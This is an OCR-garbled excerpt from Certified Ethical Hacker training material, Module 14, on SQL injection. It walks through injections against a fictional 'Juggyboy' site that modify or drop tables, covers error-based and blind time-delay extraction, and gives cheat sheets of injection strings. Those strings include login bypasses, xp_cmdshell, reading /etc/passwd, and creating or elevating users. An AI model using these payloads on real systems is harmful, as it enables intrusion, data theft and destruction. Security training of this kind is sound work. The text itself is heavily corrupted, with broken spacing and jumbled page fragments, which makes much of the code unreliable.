query:Module 14 Page 2014Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 30. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerUPDATE Store Information SET S a le s = 250 WHERE s to re name = "Sydney" AND Date = "08/06/2012" The resulting table would look like this: Table Store Information Store_Nam eSalesDateSydney$250Aug-06-2012Melbourne$200Aug-07-2012Queensland$400AUg-08-2012Victoria$800Aug-09-2012TABLE 14.2: Store Table After UpdatingJu g g y B o y .c o m Forgot PasswordAttacker Launching SQL Injectionblah'; UPDATE jb-customers SET jb-email - 'info8juggyboy.com' WHERE email ='jason5springfield.com; --E m a il A d d r e s sYour passw ord will be sent to your registered email addressMl SQL Injection Vulnerable W ebsiteSQL Query Executed SEI.F.CT j b - e m a 1 l , j b - p a s s w d , j b - 1 o g i n _ i r i , j b - l a s t _ n a m e F R O M m e m b e r s WHERE jb-email - ,blah'; UPDATE jb-customers SET jb-email - '[email protected]' w h e r e email = jasonpspringfield.com; ;FIGURE 14.7: SQL Injection AttackModule 14 Page 2015Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 31. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExample 4: Adding New RecordsCEHu J f1 1g g y B o y . c o mt Fo rg o t P a s s w o rdAttacker Launching SQL Injection b la h ;IN S E R TIN T Ojb - c u s t o m e r sEm ail Addressp a s s w d ' , 1j b l o g i n _ i d ' , ' j b l a s t _ n a m e ' ) ( ' ja s o n @ s p r in g f ie ld . com ' , ' h e l l o ',Your passw ord will be sent to your registered em ail address( ' jb e m a il ' , jb VA LU ES' j a s o n ' , ' ja s o nYLs p r in g f ie ld ') ; SQL Injection Vulnerable Website S Q L Q u e ry E x e c u t e d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM members WHERE email = 'blah1; INSERT INTO jb-customers (j b - e m a i l j b - p a s s w d 1 j b - l o g i n _ i d jblast name') VALUES ('j a s o n @ s p r i n g f i e l d .c o m h e l l o j a s o n ', 'jason S p r i n g f i e l d 1); ;Copyright b y EG-GlOOCil. All Rights Reserved. Reproduction Is Strictly Prohibited.E x a m p l e 4: A d d i n g N e w R e c o r d s The following example illustrates the process of adding new records to the table: INSERT INTO ta b le name (colum nl, column2, column3. . . ) VALUES ( v a l u e l , v a lu e 2 , v a lu e 3 . . . ) Sto re_N am eSalesDateSydney$250Aug-06-2012M elbourne$200Aug-07-2012Queensland$400AUg-08-2012Victoria$800Aug-09-2012TABLE 14.3: Store Table INSERT INTO table_nam e VALUES ("A d e la id e ",Module 14 Page 2016(" s t o r e name", " s a l e s " , "d a t e ")"$1000","08/10/2012")Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 32. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerS to re N am eSalesD ateSydney$250Aug-06-2012Melbourne$200Aug-07-2012Queensland$400AUg-08-2012Victoria$800Aug-09-2012Adelaide$1000Aug-10-2012TABLE 14.4: Store Table After Adding New Tablehttp://1UHRVboy.comH 1g g y R 0 y.com !' Fo rg o t P a s s w o r d Email AddressAttacker Launching SQL InjectionYour passw ord w ill be sent to your registered email address3b l a h ' ; INSERT INTO jb - c u s to m e r s ( ' j b - e n a i l ' , b p a s s w d , j b l o g i n _ i d ' , 1j b Ia s t_ n a !B ' ) VA 1XJES a s o n s p r i n g f l e l d . c o r e 1 , , h o l l o ' , ja s o n ^ , a so n s p r in g fie ld ) ; (31 0SQL Injection Vulnerable WebsiteVSQL Query Executed SELEC T W H EREjb - e m a ilf e m a illa s t n a m e ')=jb - p a s s w d ,'b l a h ';VA LU ESjb - lo g in _ id ,IN S E R TIN T Ojb - la s t_ n a m ejb - c u s t o m e r sFRO M m e m b e rs( ' j b - e m a i l j b - p a s s w d j b - l o g i n i d j b -( ' ja s o n @ s p r in g f 1 e ld .c o m ' , * h e l l o ja s o n ' ,ja s o ns p n n g f i e l d ') ; *;FIGURE 14.8: SQL Injection AttackModule 14 Page 2017Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited. 33. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExample 5: Identifying the Table NameC EH BBQJ1 1g g y B o y . c o mForgot Password Em ail Address Your passw ord will be sent to your registered em ail addressblah AND 1=(SELECT COUNT(*) FROM mytable); -SQL Injection Vulnerable WebsiteYou will need to guess table names hereS Q L Q u e ry E x e c u t e dSELECT jb-email, jb-passwd, jb-login_id, jb-last_name FR M table W ERE ;jb-email = O H ,blah' A D 1=(SELECT COUNT(*) FR M mytable); N O ;Copyright b yf ijEG-G*ancil. AllRights Reserved. Reproduction is Strictly Prohibited.E x a m p l e 5: I d e n t i f y i n g t h e T a b l e N a m e e so | Ju g g y B o y .c o m Fo rg o t P a s s w o rdAttacker Launching SQL InjectionIEmail Addressblah' A D 1=(SELECT COUNT(*) FR M N O mytable); Your password will be sent to your registered email addressA You w ill n eed to guess tab le n a m es h ereSQL Injection Vulnerable WebsiteS Q L Q u e ry E x e c u te d SELECT jb-email, jb-passwd, jb-login_id, jb-last_name FROM table WHERE jb-email = 'blah' AND !( SELECT COUNT(*) FROM m y t a b l e ) ; FIGURE 14.9: Identifying the Table NameModule 14 Page 2018Ethical Hacking and Countermeasures Copyright by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited. 34. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerExam ple 6: D eleting a TableJ1 1g g y B o y . c o mFo rg o t P a s s w o rdAttacker Launching SQL InjectionEm ail Address Your passw ord will be sent to your registered em ail addressblah'; DROP TABLE Creditcard; --J SQL Injection Vulnerable WebsiteS Q L Q u e ry E x e c u t e dSELECT jb-email, jb-passwd, jb-login_id, jklast_name FROM members WHERE jb-email = ,blah'; DROP TABLE Creditcard; ';Copyright b y EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.* E x a m p l e 6: D e l e t i n g a T a b l eAttacker Launching SQL I j c i n netoblah'; DROP TABLE Creditcard; SQL I j c i n Vulnerable Website neto S Q L Q u e ry E x e c u te dSELECT jb-email, jb-passwd, jb-login_id, jb-last_name FRO m bers M em W HERE jb-email = ,blah'; DRO TABLE Creditcard; ; P FIGURE 14.10: Deleting TableModule 14 Page 2019Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 35. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerM o d u le F lo wC EH (rtifwtfttkujl IUU1Copyright by EG-GtODCil. All Rights R eserved. Reproduction is Strictly Prohibited.0-0 M o d u le F lo w So far, we have discussed various concepts of SQL injection. Now we will discuss how totest for SQL injection. SQL injection attacks are attacks on web applications that rely on the databases as their background to handle and produce data. Here attackers modify the web application and try to inject their own SQL commands into those issued by the d a tab a se .!SQL Injection Concepts^*Advanced SQL InjectionTesting for SQL InjectionSQL Injection ToolsTypes of SQL Injection^Blind SQL Injection^ v )Evasion TechniquesCountermeasuresSQL Injection MethodologyModule 14 Page 2020Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 36. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerThis section focuses on SQL injection attack characteristics and their detection.Module 14 Page 2021Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 37. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerS T E P 1: Check if the webS T E P 6: Detailed error messages provide a wealth of information to an attacker in order to execute SQL injectionapplication connects to a Database Server in order to access some dataS T E P 2: List all input fields,S T E P 5: The UNIONhidden fields, and postoperator is used torequests whose values could be used in crafting acombine the result-set of tw o or more SELECTSQL querystatementsS T E P 4: Try to insert a stringS T E P 3: Attempt to injectvalue where a number iscodes into the input fields toexpected in the input fieldgenerate an errorCopyright by EC-CMICil. All Rights Jte$'ervfei;Reproduction is Strictly Prohibited.^SQL Injection Detection The following are the various steps to be followed to identify SQL injections.Step 1: Check if the web application connects to a Database Server in order to access some data. Step 2: List all input fields, hidden fields, and post requests whose values could be used in crafting a SQL query. Step 3: Attempt to inject codes into the input fields to generate an error. Step 4: Try to insert a string value where a number is expected in the input field. Step 5: The UNION operator is used in SQL injections to join a query to the original query. Step 6: Detailed error messages provide a wealth of information to an attacker in order to execute SQL injection.Module 14 Page 2022Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 38. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL In jectio n Error M e s s a g e s Attempt to inject codes into the input fields to generate an error a single quote ('), a semicolon (;), comments ( ,)AND, and OR[51CEHMicrosoft OLE DB Provider for ODBC Drivers error '80040el4' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string . /shopping/buy. aspx, line 524C4 1 UAttacker Try to insert a string v a lu e w h e r e a n u m b e r is expected in th e in p u t fieldMicrosoft OLE DB Provider for ODBC Drivers error '80040607' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' to a column of data type int. /visa/credit.aspx, line 17N ote: If applications do n ot provide detailed e rro r messages and re tu rn a sim ple '500 Server E rror1or a custom e rro r page th e n a tte m p t b lin d in je ctio n techniques Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.SQL Injection Error Messages The attacker makes use of the database-level error messages disclosed by an application. This is very useful to build a vulnerability exploit request. There are even chances of automated exploits based on the different error messages generated by the database server. These are the examples for the SQL injection attacks based on error messages: Attempt to inject codes into the input fields to generate an error a single quote ('), a semicolon (;), comments (-), AND, and OR. Microsoft OLE DB Provider for ODBC Drivers error '80040el4' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L b e fo re the c h a r a c te r s t r in g ' ' .S e rv e r]U n c lo s e d q u o ta tio n mark/shopping/buy. aspx , l i n e 52 Try to insert a string value where a number is expected in the input field: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [M icro so ft][O D B C SQL S e r v e r D r iv e r ][S Q L S e r v e r ] Syntax e r r o r c o n v e rtin g the v a rc h a r v a lu e ' t e s t ' to a column o f d ata type i n t . / v i s a / c r e d i t . aspx, l i n e 17 Note: If applications do not provide detailed error messages and return a simple '500 Server Error' or a custom error page, then attempt blind injection techniques. Module 14 Page 2023Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 39. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection Attack CharactersCEH Urtiftetf' or Character string indicators ?Paraml=foo&Param2=bar/*./*+Addition, concatenate (or space in url)11(Double pipe) concatenate%Wildcard attribute indicatorUseful as nontransactional command variableMultiple-line commentURL ParametersPRINTor # Single-line commentLocal variable(*variableGlobal variablew a itfo r d elay 0 :0 :1 0 ttkujl lUckMTime delay Displays SQL server versionV AversionCopyright by EG-GtOIICil. All Rights Reserved. Reproduction is Strictly Prohibited.SQL Injection Attack Characters The following is a list of characters used by the attacker for SQL injection attacks: CharacterFunction, o r"Character string indicators- or # -Single-line commentJ**jMultiple-line comment+Addition, concatenate (or space in url)II(Double pipe) concatenate%Wildcard attribute indicator?Paraml=f00&Param2=barURL ParametersPRINTUseful as non-transactional command(variableLocal variable((variableGlobal variablewaitfor delay '0:0:10'Time delay((versionDisplays SQL server versionModule 14 Page 2024Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 40. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerAdditional M ethods to D etect SQL Injection Ex am p le of Functio n TestingF u n c tio n T e s tin gM ethod 1CEHThis testing falls within the scope of black sM e th o d 3inputting massive amount of random data and observing the changes in the outputhttp:://juggyboy/?param eter=l AND 1=1http:://juggyboy/?param eter=l'-ahttp:://juggyboy/?param eter=l AND 1=2--0http:://juggyboy/?param eter=l'/*0http:://juggyboy/?param eter=l' AND T = ' lVhttp:://juggyboy/?param eter=l"&It is an adaptive SQL injection testing technique used to discover coding errors byhttp:://juggyboy/?param eter=l'#F u z z in g T e s tin gM e th o d 2http:://juggyboy/?param eter=l'aVor logichttp:://juggyboy/?parameter=123sbox testing, and as such, should require no knowledge of the inner design of the codehttp:://juggyboy/?param eter=l order by 1000S ta tic / D y n a m ic T e s tin g Analysis of the web application source co11e#31Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.Additional Methods to Detect SQL Injection SQL injection can be detected with the help of the following additional methods:(&F u n ctio n T estin g This testing falls within the scope of black box testing, and as such, should require noknowledge of the inner design of the code or logic.F u zzin g T estin g &Fuzzy testing is a SQL injection testing technique used to discover coding errors byinputting a massive amount of data to crash the web application.S tatic /D y n am ic T estin g Static/dynamic testing is the manual analysis of the web application source code. Example of Function Testing: 9http://juggyboy/?parameter=123ahttp://juggyboy/?parameter=rModule 14 Page 2025Ethical Hacking and Countermeasures Copyright by EC-C0linCil All Rights Reserved. Reproduction is Strictly Prohibited. 41. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical Hackerhttp://juggyboy/?parameter=r#http://juggyboy/?parameter=rhttp://juggyboy/?parameter=l AND 1=1http://juggyboy/?parameter=rhttp://juggyboy/?parameter=l AND 1=2--http://juggyboy/?parameter=l'/*http://juggyboy/?parameter=l' AND T = 'lhttp://juggyboy/?parameter=l order by 1000Module14 Page 2026Ethical Hacking and Countermeasures Copyright by EC-C0linCil All Rights Reserved. Reproduction is Strictly Prohibited. 42. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection Black Box Pen Testing Detecting SQL Injection Issues JJSend single quotes as the input data to catch instances where the user input is not sanitized Send double quotes as the input data to catch instances where the user input is not sanitizedCEHDetecting Input Sanitization Use right square bracket (the ]character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitizationlL J-. Detecting SQL ModificationDetecting Truncation IssuesSend long strings of single quote characters (or right square brackets or double quotes)Send long strings of junk data, just as you would send strings to detect bufferThese max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statementoverruns; this action might throw SQL errors on the pageCopyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.SQL Injection Black Box Pen Testing In black box testing, the pen tester doesn't need to possess any knowledge about the network or the system to be tested. The first job of the tester is to find out the location and system infrastructure. The tester tries to identify the vulnerabilities of web applications from the attacker's perspective. Use special characters, white space, SQL keywords, oversized requests, etc. to determine the various conditions of the web application. The following are the various issues related to SQL injection black box penetration testing: Detecting SQL Injection Issues Send single quotes as the input data to catch instances where the user input is not sanitized. Send double quotes as the input data to catch instances where the user is not sanitized. Detecting Input Sanitization Use the right square bracket (the ] character) as the input data to catch instances where the user input is used as part of a SQL identifier without any input sanitization. Detecting SQL Modification Send long strings of single quote characters (or right square brackets or double quotes). These max out the return values from REPLACE and QUOTENAME functions and might truncate the command variable used to hold the SQL statement.Module 14 Page 2027Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 43. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerDetecting Truncation Issues Send long strings of junk data, just as you would send strings to detect buffer overruns; this action might throw SQL errors on the page.Module 14 Page 2028Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 44. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerTesting for SQL Injection |Testing String1Variations Single code1 or T = ' l value' or 'l'= 2 1' and T = '21 1 1Testing StringVariationsI'; drop tableTesting StringCEHUrtifMIthKJl lUckMVariationsadmin'--adm in1 )-ad m in '#admin')#users-l )o r (,!l valu e') o r ('l'= '21+13-11') and ( T 2 1' or 'a b '= 'a V b1') o r ('ab'=a V b1' or 'ab'='a' 'b1') or('a b '= a " b1' or 'ab'='a'| |'b1-11') or (ab'='a'| |'b1 or 1=1-Variations';(SQL Statement];-- o r '1'='1'');[SQL Statement];#;(SQL Statement];-);[SQL Statement];-;(SQL Statement];#);[SQL Statement];#) or T ' l ' -value) or (1=2');{SQL Statement];-,;[SQL Statement];!)1) o r 1=1-1) o r (1=11 or 1=1valu e or 1=2Testing String1( jvalu e + 01 and 1=21 or 'ab'= 'a V b '1) and (1=21) or ('ab '= 'a V b '1 or 'a b '= 'a "b '1) or ('ab'' T >l)o r fab'-'a'I !*b'1 o r ' a b '^ a 'I |'b'Testing StringVariations-1 and 1=2--1) and 1=2- and '1='2') a n d 'IV ? -!/ *co m m e n t*/Copyright by EG-CtUIICil. All Rights Reserved. Reproduction is Strictly Prohibited.Testing for SQL Injection Some of the testing strings with variations used in the database handling commonly bypass the authentication mechanism. You can use this cheat sheet to test for SQL injection:F IG U R E 14.11: Testing for SQ L InjectionModule 14 Page 2029Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 45. Ethical Hacking and Countermeasures SQL InjectionTesting StringExam 312-50 Certified Ethical HackerTesting StringTesting StringTesting String116or 1=1-%22+or+isnull%281%2F0%29+%2F*7**/OR/**/l/**/= /**/l11 6" or"a"="a' group by userid having 1=1-' or 1 in (select ((version)-(116)Admin' OR 'EXECUTE IMMEDIATE ,SEL' 1 'ECT 1 US ER 1 ' 1' OR 1=1-' having 1=1-CRATE USER name IDENTIFIED BY 'passl23'OR 1=1' OR 'text' =N'text'' OR 'l'= 'l' OR 2 > 1; OR T = T' OR 'text' >'t'%27+ +' union select l,load_f1le('/etc/passwd'),l,l,l; exec master..xp_cmdshell 'ping 10.10.1.2'-' union all select @@version ' OR 'unusual' = ,unusual' ' OR 'something' = ,someVthing' ' OR 'something' like 'some%''; EXEC ('SEL' +'ECT US' +'ER') +or+isnull%281%2F 0%29+%2F* %27+OR+%277659 %27%3D%277659 %22+or+isnull%281 %2F0%29+%2F* ' and 1 in (select var from temp)'; drop table tempexec sp addsrvrolemember 'name', 'sysadmin'' union selectTesting String UNI/**/ON SEL/**/ECT' OR 'whatever' in ('whatever') ' OR 2 BETWEEN 1 and 3 ' or username like char(37);" or 1=1-Password:*/=l-GRANT CONNECT TO name; GRANT RESOURCE TO name;'o r 1=1/*' or 1/*' union select * from users where login =char(114,lll,lll,116);exec sp_addlogin 'name', 'password' @var select < va S> r as var into temp end -Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.Testing for SQL Injection (Contd) Additional testing strings used to test for SQL injection include: Testing StringTesting String116Testing Stringl/ / / * * / O R/* * / l / * * / 'UNI/* */ON SEL// ECr' group by userid having 1 * 1 -" or " a Vo r 1 in (select 'EXEC (SEl' T EC US- ER)version ^ @(116)* Admin' OROR 1 1 -Testing String%22+or+fsnuM%281%2F0%29+%2F*or 1-1-ll6Testing Stringhaving 1 = 1 1 ;EXECUTE IMMEDIATE SEL 11 ECT US* 11 ER* CRATE USER nam e IDENTIFIED BY p assl2 3 OR 1 1 , OR ,t e x t N.text'OR ' 1 1 ' OR 2 < 1(' union all select vcrsion > > * = 'OR ,unusual 'unusual,or+isnull%281%2F 0 % 2 9 .% 2 F *%27+OR+%277659 %27%3D%277659 %22+or+isnull%281' union select l,load_fiIe{/etc/pdSS W d,) , l , l , l ; exec m astei xp_andshell ,ping10.10.1.2 -= 'OR ,som ething ''OR ,som ething ' '%like 'some;OR T - TOR ,text 1 EID 4- ( KATTrOP DELAY '0 0 : 0 0 7 1 0 '- ) h t t p : / / j u g g y b o y 0 c /p g * .a p x '>1.*Bl r I F (ASCI I ( lo w e r ( s u b s t r i n g ( (SKLECT TOP 1 eolumn_nacr* from ABCD. i n f o r a a tio n _ 3 c h c a a . c o l us w h ere ta b lc _ n m r^ EH? * a d c o 1 w _ 3 c o k > ' E IS ' ) , 1 ,1 ) ) ) 100) WAITTOR h t t p : / / J u g g y b o y .c c a / p a g e . a s p x d E i ; i f (ASCII (lo w e r ( s u b s t r i n g ( (SELECT TOP l colux _nl A B C D .in fo z tta tio n s c h s a a .c o lu a m w h ere t a b l e m m - ' EMP a nd . . * . >a*e> EID 101- ( ( (2 , 1 , ( )WAITFOR h t t p : / / j u g g y b o y . c o n / p a g e . a s p x * i d - l ; 2F ( A S C I I ( lo w e r ( s u b s tr in g ( (SELECT TOP 1 c o lu n ! >x from ABC, i n f o n r j t i o n e rh o n a e o l u m i w h ere t a b l e nw e=E N S >' and . i n r n a a e V E I ' ) , 3 , 1 )7 ) =i 12) WAITFOR h t t p ! / / j u g g y b o y . a a n /p a g e . a s p x ? d = l .* I F (ASCII (lo w e r ( s u b s tr .rv g ( (SELECT TOP 1 colum n nacce f r o n ABCD. in f o r m a tl o n _ s c h e a a . c o lu n n s w here ta b le _ n a & e > EMP' a nd colu*r_rae> EID ) ,4 , 1) ) )116) WAITFOR111DELAY '0 0 : 0 0 : 1 0 '- DELAY0 0 : 0 0 : 1 0 '- -DELAY0 0 :0 0 :1 0 - -DELAY0 0 : 0 0 : 1 0 '- -Column Name = DEPTFIGURE 14.17: Extract Database UserModule 14 Page 2052Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 68. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerBlind SQL Injection - Extract Data from ROWSCEHExtract 1st Field of 1st Row h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l;IF(LEN(SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY '0 0 :0 0 :1 0 'h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l;IF(A SC II (s u b strin g ( (SELECT TOP 1EID from EM P), 1 , 1 ) ) =106)WAITFORIF(A SC II (s u b strin g ( (SELECT TOP 1EID from EMP) ,2 ,1) ) =111)WAITFORIF(A SC II (s u b strin g ( (SELECT TOP 1EID from EMP) , 3,1) )=101)WAITFORDELAY '00:00:10 * h t t p : / / ju g g y b o y .co m /p a g e . a s p x ? id = l;DELAY '0 0 :0 0 :1 0 h t t p : / / ju g g y b o y . c o m / p a g e . a s p x ? id = l;DELAY '00:00:10 *Field Data = JOEE x tra ct 2nd Field o f 1st R o w h t t p :/ / juggyboy. com/page. aspx?id I F 1;(LEN(SELECT TOP 1 DEPT from EMP)-4) WAITFOR DELAY '00:00:10h t t p :/ / juggyboy.com/page. aspx?id ; I F 1 WAITFOR DELAY '0 0 :0 0 :1 0 '(A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EM P), 1 , 1 ) ) -100)h t t p :/ / juggyboy.com/page. a s p x ?id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '(A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EMP) 111-( ( 2, 1) h t t p :/ / juggyboy.com/page. asp x ?id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '(A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EM P), 3 , 1 ) ) -109)h t t p :/ / juggyboy.com/page. asp x ?id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '(A SC II(su b strin g ((S E L E C T TOP 1 DEPT from EMP) 112=( ( 1) 3 Field Data = COMP Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.Blind SQL Injection Extract Data from ROWS In the blind SQL injection method, the attacker can extract the data from the rows using the command with the "IF" keyword and check if the first character of the word in the first column and row match the character by guessing. Extract 1st Field of 1st Row h t tp :/ / ju g g y b o y . cam/page . a s p x ? id - l ; I F(LEK (SELECT TOP 1 E ID fro n EMP) - 3 ) WAITFOR DELAY 0 0 :0 0 :1 0 ' h t tp :/ / iu a a y b o y .com/pacre.asp x ? 1 d * l ; I F DELAY '0 0 : 0 0 : 1 0 '(A S C II (s u b s t r in g ifThe attacker uses time delays or error signatures to determine extract information: c o n d itio n w a it f o r d e la yModule 14 Page 2061'0 :0 :5 '--Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 77. Ethical Hacking and Countermeasures SQL Injection1; union s e le c t ) , 1 ,1 ,1 ,1 ;Module 14 Page 2062if (Exam 312-50 Certified Ethical Hackerc o n d itio nbenchmark(100000,s h a l( ' t e s t ' )) ,'f a ls e 'Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 78. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerUnderstanding SQL Query r In je c tio n s Most injections will land in the middle of a SELECT statement. In a SELECT clause we almost always end up in the W HERE section.r S e le c t S ta te m e n t SELEC T * FROM t a b l e WHERE x = ' n o r m a l i n p u t ' group by x having 1=1 -- GROUP B Y x H A VIN G x = yORDER RY A vlVLjI O 1 x r D e te rm in in g D a ta b a seD e te rm in in g a SELEC TEn g in e T yp eQ u e ry S tru c tu reTry to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1'W Mostly the error messages will show you what D engine you are working with B O B errors will display database type as part DC of the driver information t> If you do not receive any O B error message, DC make an educated guess based on the Operating System and Web Server= '2Generate specific errors Determine table and column names 1group by columnnames having 1=1 Do we need parenthesis? Is it a subquery?-Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.Understanding SQL Query To perform SQL injection, you should understand the query in order to know what part of the SQL query you can modify. The query modification can land anywhere in the query. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE, or CREATE statement or subquery.In je c tio n s Most injections will land in the middle of a SELECT statement. In a SELECT clause, we almost always end up in the W HERE section. Select Statem ent SELECT * FROM ta b le WHERE x = ' n o rm a lin p u t' group by x h avin g 1=1 - GROUP BY x HAVING x = y ORDER BY x Determining Database Engine Type Most error messages will show you what database engine you are working with: a 9ODBC errors will display database type as part of the driver information If you do not receive any ODBC error message, make an educated guess based on the operating system and web serverDetermining a SELECT Query Structure Module 14 Page 2063Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 79. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerTo understand the SQL query, try to replicate error-free navigation as follows: aCould be as simple as ' and '1' = '1 or ' and T = '2aGenerate specific errorsQDetermine table and column names ,group by columnnames having 1=1 -QDo we need parentheses? Is it a subquery?This gives specific types of errors that give you more information about the table name and parameters in the query.Module 14 Page 2064Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 80. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerSQL Injection Try these at website login formsMD5 Hash Password eo ' UNION SELECT 1, 'anotheruser' , 'doesnt matter', 1Bypassing MDS Hash Check ExampleYou can union results with a known password and MD5 hash of supplied password The Web Application will compare your password and the supplied MD5 hash instead of MD5 from the database........................................Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin''81dc9bdbS2d04dc20036dbd8313ed05581dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)/Copyright by EC-CMICil. All Rights KeServei R^production Is Strictly Prohibited.Bypass Website Logins Using SQL Injection Attackers take complete advantage of vulnerabilities. SQL commands and userprovided parameters are chained together by programmers. By utilizing this feature, the attacker executes arbitrary SQL queries and commands on the backend database server through the web application. Bypassing login scripts: Try the following SQL injection strings to bypass login scripts: admin' -admin' # admin'/ * ' o r 1=1-1 o r 1=1# ' o r 1=1/* ')or '1 '= '1--')or( '1 '= '1 -Module 14 Page 2065Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 81. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerMD5 Hash Password You can union results with a known password and MD5 hash of a supplied password. The web application will compare your password and the supplied MD5 hash instead of MD5 from the database. Bypassing MD5 Hash Check Example Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT , ad m in', 181dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) Login as different User: ' UNION SELECT 1,Module 14 Page 2066' a n o th e ru s e r' ,'d o esn t m a t t e r ',1--Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited. 82. Ethical Hacking and Countermeasures SQL InjectionExam 312-50 Certified Ethical HackerD atabase, Table, and Colum n Enum erationThere are several SQL built-in scalar functions that will work in most SQL implementations: user or current_user, session_user, system_user ' and 1 in (s e le c t user ) i f user =dbo w a itfo r d elay '0 :0 :5 ' * union s e le c t i f ( u s e r() lik e ' root0%', benchmark(50000, s h a l( ' t e s t ' ) ) , ,f a ls e ' ) ;J __________________________ Discover DB Structure XDB AdministratorsIdentify User Level Privilege_1C EHDefault administrator accounts include sa, system, sys, dba, admin, root and many others The dbo is a user that has implied permissions to perform all activities in the database.Any object created by any member of the sysadmin fixed server role belongs to dbo automatically,1Column Enumeration in DBiDetermine table and column names group by colximnnames having 1=1 -Discover column name types ' union select sum(columnname ) from tablename -Enumerate user defined tables ' and 1 in (s e le c t min(name) from sysobjects where xtype = ' U' and name > ) ' . MS SQLDB23EI.CCT nut TROK y.column. WXERE SELECT * FROM sysCAC. COlUBRS WHERE cabnanv* ' Z4t>2+nd3& ' sp_columns tablenaxr.eMySQL show columns f r nr. ta b le n a ra eOracle SELECT * FROM all_tab_colum ns WHERE , able r.as^e= * tab l& a a ise cPostgres SELECT attnvan, *c c n u w fr c o p g _cla ss , p g _arcrib u r WHERE relname t a ile n a s * AND p g _ c la s s .o id = a trr e iid AND attnum > 0Copyright by EC-GlUIICil. All Rights Reserved. Reproduction is Strictly 